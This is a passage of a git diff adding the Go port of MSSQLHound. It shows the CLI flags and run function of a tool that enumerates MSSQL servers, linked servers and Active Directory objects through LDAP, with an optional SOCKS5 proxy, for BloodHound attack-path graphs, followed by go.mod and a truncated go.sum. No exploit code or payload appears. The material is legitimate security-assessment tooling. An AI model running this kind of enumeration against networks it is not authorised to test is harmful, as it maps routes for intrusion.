rootCmd.PersistentFlags().StringVarP(&domain, "domain", "d", "", "Domain to use for name and SID resolution") + rootCmd.PersistentFlags().StringVar(&dcIP, "dc-ip", "", "Domain controller hostname or IP (used for LDAP and as DNS resolver if --dns-resolver not specified)") + rootCmd.PersistentFlags().StringVar(&dnsResolver, "dns-resolver", "", "DNS resolver IP address for domain lookups") + rootCmd.PersistentFlags().StringVar(&ldapUser, "ldap-user", "", "LDAP user (DOMAIN\\user or user@domain) for GSSAPI/Kerberos bind") + rootCmd.PersistentFlags().StringVar(&ldapPassword, "ldap-password", "", "LDAP password for GSSAPI/Kerberos bind") + rootCmd.PersistentFlags().BoolVarP(&verbose, "verbose", "v", false, "Enable verbose output showing detailed collection progress") + rootCmd.PersistentFlags().BoolVar(&debug, "debug", false, "Enable debug output (includes EPA/TLS/NTLM diagnostics)") + rootCmd.PersistentFlags().StringVar(&proxyAddr, "proxy", "", "SOCKS5 proxy address (host:port or socks5://[user:pass@]host:port)") + + // Collection-specific flags (local to root command only) + rootCmd.Flags().StringVar(&serverListFile, "server-list-file", "", "File containing list of servers (one per line)") + rootCmd.Flags().StringVar(&serverList, "server-list", "", "Comma-separated list of servers") + rootCmd.Flags().StringVarP(&outputFormat, "output-format", "o", "BloodHound", "Output format: BloodHound, BHGeneric") + rootCmd.Flags().StringVar(&tempDir, "temp-dir", "", "Temporary directory for output files") + rootCmd.Flags().StringVar(&zipDir, "zip-dir", ".", "Directory for final zip file") + rootCmd.Flags().StringVar(&fileSizeLimit, "file-size-limit", "1GB", "Stop enumeration after files exceed this size") + rootCmd.Flags().BoolVar(&domainEnumOnly, "domain-enum-only", false, "Only enumerate SPNs, skip MSSQL collection") + rootCmd.Flags().BoolVar(&skipLinkedServerEnum, "skip-linked-servers", false, "Don't enumerate linked servers") + rootCmd.Flags().BoolVar(&collectFromLinkedServers, "collect-from-linked", false, "Perform full collection on discovered linked servers") + rootCmd.Flags().BoolVar(&skipPrivateAddress, "skip-private-address", false, "Skip private IP check when resolving domains") + rootCmd.Flags().BoolVar(&scanAllComputers, "scan-all-computers", false, "Scan all domain computers, not just those with SPNs") + rootCmd.Flags().BoolVar(&skipADNodeCreation, "skip-ad-nodes", false, "Skip creating User, Group, Computer nodes") + rootCmd.Flags().BoolVar(&includeNontraversableEdges, "include-nontraversable", false, "Include non-traversable edges") + rootCmd.Flags().BoolVar(&makeInterestingEdgesTraversable, "make-interesting-traversable", true, "Make interesting edges traversable (default true)") + rootCmd.Flags().IntVar(&linkedServerTimeout, "linked-timeout", 300, "Linked server enumeration timeout (seconds)") + rootCmd.Flags().IntVar(&memoryThresholdPercent, "memory-threshold", 90, "Stop when memory exceeds this percentage") + rootCmd.Flags().IntVar(&fileSizeUpdateInterval, "size-update-interval", 5, "Interval for file size updates (seconds)") + rootCmd.Flags().IntVarP(&workers, "workers", "w", 0, "Number of concurrent workers (0 = sequential processing)") + + // Register subcommands + rootCmd.AddCommand(newTestEPAMatrixCmd()) + + if err := rootCmd.Execute(); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } +} + +func run(cmd *cobra.Command, args []string) error { + fmt.Printf("MSSQLHound v%s\n", version) + fmt.Println("Authors: Chris Thompson (@_Mayyhem) at SpecterOps and Javier Azofra at Siemens Healthineers") + fmt.Println() + + // Configure custom DNS resolver if specified + // If --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver + resolver := dnsResolver + if resolver == "" && dcIP != "" { + resolver = dcIP + } + + if resolver != "" { + fmt.Printf("Using custom DNS resolver: %s\n", resolver) + var dnsDialFunc func(ctx context.Context, network, address string) (net.Conn, error) + if proxyAddr != "" { + pd, err := proxydialer.New(proxyAddr) + if err != nil { + return fmt.Errorf("failed to create proxy dialer for DNS: %w", err) + } + dnsDialFunc = func(ctx context.Context, network, address string) (net.Conn, error) { + // Force TCP: SOCKS5 doesn't support UDP, and DNS works fine over TCP + return pd.DialContext(ctx, "tcp", net.JoinHostPort(resolver, "53")) + } + } else { + dnsDialFunc = func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{ + Timeout: time.Millisecond * time.Duration(10000), + } + return d.DialContext(ctx, network, net.JoinHostPort(resolver, "53")) + } + } + net.DefaultResolver = &net.Resolver{ + PreferGo: true, + Dial: dnsDialFunc, + } + } + + // If LDAP credentials not specified but SQL credentials look like domain credentials, + // use the SQL credentials for LDAP authentication as a fallback + effectiveLDAPUser := ldapUser + effectiveLDAPPassword := ldapPassword + if effectiveLDAPUser == "" && effectiveLDAPPassword == "" && userID != "" && password != "" { + if strings.Contains(userID, "\\") || strings.Contains(userID, "@") { + effectiveLDAPUser = userID + effectiveLDAPPassword = password + } + } + + // Build configuration from flags + config := &collector.Config{ + ServerInstance: serverInstance, + ServerListFile: serverListFile, + ServerList: serverList, + UserID: userID, + Password: password, + Domain: strings.ToUpper(domain), + DCIP: dcIP, + DNSResolver: dnsResolver, + LDAPUser: effectiveLDAPUser, + LDAPPassword: effectiveLDAPPassword, + OutputFormat: outputFormat, + TempDir: tempDir, + ZipDir: zipDir, + FileSizeLimit: fileSizeLimit, + Verbose: verbose, + Debug: debug, + DomainEnumOnly: domainEnumOnly, + SkipLinkedServerEnum: skipLinkedServerEnum, + CollectFromLinkedServers: collectFromLinkedServers, + SkipPrivateAddress: skipPrivateAddress, + ScanAllComputers: scanAllComputers, + SkipADNodeCreation: skipADNodeCreation, + IncludeNontraversableEdges: includeNontraversableEdges, + MakeInterestingEdgesTraversable: makeInterestingEdgesTraversable, + LinkedServerTimeout: linkedServerTimeout, + MemoryThresholdPercent: memoryThresholdPercent, + FileSizeUpdateInterval: fileSizeUpdateInterval, + Workers: workers, + ProxyAddr: proxyAddr, + } + + if proxyAddr != "" { + fmt.Printf("SOCKS5 proxy configured: %s\n", proxyAddr) + fmt.Println(" Note: SQL Browser (UDP) resolution is not supported through SOCKS5.") + fmt.Println(" Named instances must include an explicit port (e.g., host\\instance:1433).") + if resolver == "" { + fmt.Println(" Warning: No DNS resolver specified. DNS will resolve locally, not through the proxy.") + fmt.Println(" Consider using --dns-resolver or --dc-ip for remote DNS resolution.") + } + fmt.Println() + } + + // Create and run collector + c := collector.New(config) + return c.Run() +} diff --git a/go/go.mod b/go/go.mod new file mode 100644 index 0000000..980dd10 --- /dev/null +++ b/go/go.mod @@ -0,0 +1,42 @@ +module github.com/SpecterOps/MSSQLHound + +go 1.24.0 + +require ( + github.com/go-ldap/ldap/v3 v3.4.6 + github.com/go-ole/go-ole v1.3.0 + github.com/microsoft/go-mssqldb v1.9.6 + github.com/spf13/cobra v1.8.0 + golang.org/x/crypto v0.48.0 + golang.org/x/net v0.50.0 +) + +require ( + github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect + github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect + github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 // indirect + github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b // indirect + github.com/bodgit/windows v1.0.1 // indirect + github.com/go-asn1-ber/asn1-ber v1.5.5 // indirect + github.com/go-logr/logr v1.4.1 // indirect + github.com/gofrs/uuid v4.4.0+incompatible // indirect + github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect + github.com/golang-sql/sqlexp v0.1.0 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/hashicorp/go-cleanhttp v0.5.2 // indirect + github.com/hashicorp/go-uuid v1.0.3 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jcmturner/aescts/v2 v2.0.0 // indirect + github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect + github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect + github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect + github.com/jcmturner/rpc/v2 v2.0.3 // indirect + github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect + github.com/masterzen/winrm v0.0.0-20250927112105-5f8e6c707321 // indirect + github.com/shopspring/decimal v1.4.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde // indirect + golang.org/x/sys v0.41.0 // indirect + golang.org/x/text v0.34.0 // indirect +) diff --git a/go/go.sum b/go/go.sum new file mode 100644 index 0000000..5cf71cf --- /dev/null +++ b/go/go.sum @@ -0,0 +1,151 @@ +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1/go.mod h1:j2chePtV91HrC22tGoRX3sGY42uF13WzmmV80/OdVAA= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1 h1:Wgf5rZba3YZqeTNJPtvqZoBu1sBN/L4sry+u2U3Y75w= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1/go.mod h1:xxCBG/f/4Vbmh2XQJBsOmNdxWUY5j/s27jujKPbQf14= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1 h1:bFWuoEKg+gImo7pvkiQEFAc8ocibADgXeiLAxWhWmkI= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1/go.mod h1:Vih/3yc6yac2JzU4hzpaDupBJP0Flaia9rXXrU8xyww= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= +github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= +github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 h1:oygO0locgZJe7PpYPXT5A29ZkwJaPqcva7BVeemZOZs= +github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= +github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 h1:w0E0fgc1YafGEh5cROhlROMWXiNoZqApk2PDN0M1+Ns= +github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6/go.mod h1:nuWgzSkT5PnyOd+272uUmV0dnAnAn42Mk7PiQC5VzN4= +github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA= +github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= +github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b h1:baFN6AnR0SeC194X2D292IUZcHDs4JjStpqtE70fjXE= +github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b/go.mod h1:Ram6ngyPDmP+0t6+4T2rymv0w0BS9N8Ch5vvUJccw5o= +github.com/bodgit/windows v1.0.1 h1:tF7K6KOluPYygXa3Z2594zxlkbKPAOvqr97etrGNIz4= +github.com/bodgit/windows v1.0.1/go.mod h1:a6JLwrB4KrTR5hBpp8FI9/9W9jJfeQ2h4XDXU74ZCdM= +github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/go-asn1-ber/asn1-ber v1.5.5 h1:MNHlNMBDgEKD4TcKr36vQN68BA00aDfjIt3/bD50WnA= +github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= +github.com/go-ldap/ldap/v3 v3.4.6 h1:ert95MdbiG7aWo/oPYp9btL3KJlMPKnP58r09rI8T+A= +github.com/go-ldap/ldap/v3 v3.4.6/go.mod h1:IGMQANNtxpsOzj7uUAMjpGBaOVTC4DYyIy8VsTdxmtc= +github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ= +github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= +github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA= +github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= +github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8= +github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= +github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= +github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= +github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= +github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8= +github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= +github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo= +github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= +github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg= +github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= +github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o= +github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= +github.com/jcmturner/gokrb5/v8 v8.4.4 h1:x1Sv4HaTpepFkXbt2IkL29DXRf8sOfZXo8eRKh687T8= +github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs= +github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY= +github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 h1:2ZKn+w/BJeL43sCxI2jhPLRv73oVVOjEKZjKkflyqxg= +github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786/go.mod h1:kCEbxUJlNDEBNbdQMkPSp6yaKcRXVI6f4ddk8Riv4bc= +github.com/masterzen/winrm v0.0.0-20250927112105-5f8e6c707321 h1:AKIJL2PfBX2uie0Mn5pxtG1+zut3hAVMZbRfoXecFzI= +github.com/masterzen/winrm v0.0.0-20250927112105-5f8e6c707321/go.mod h1:JajVhkiG2bYSNYYPYuWG7WZHr42CTjMTcCjfInRNCqc= +github.com/microsoft/go-mssqldb v1.9.6 h1:1MNQg5UiSsokiPz3++K2KPx4moKrwIqly1wv+RyCKTw= +github.com/microsoft/go-mssqldb v1.9.6/go.mod h1:yYMPDufyoF2vVuVCUGtZARr06DKFIhMrluTcgWlXpr4= +github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ= +github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= +github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= +github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= +github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde h1:AMNpJRc7P+GTwVbl8DkK2I9I8BBUzNiHuH/tlxrpan0= +github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde/go.mod h1:MvrEmduDUz4ST5pGZ7CABCnOU5f3ZiOAZzT6b1A6nX8= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts= +golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60= +golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k= +golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk= +golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod 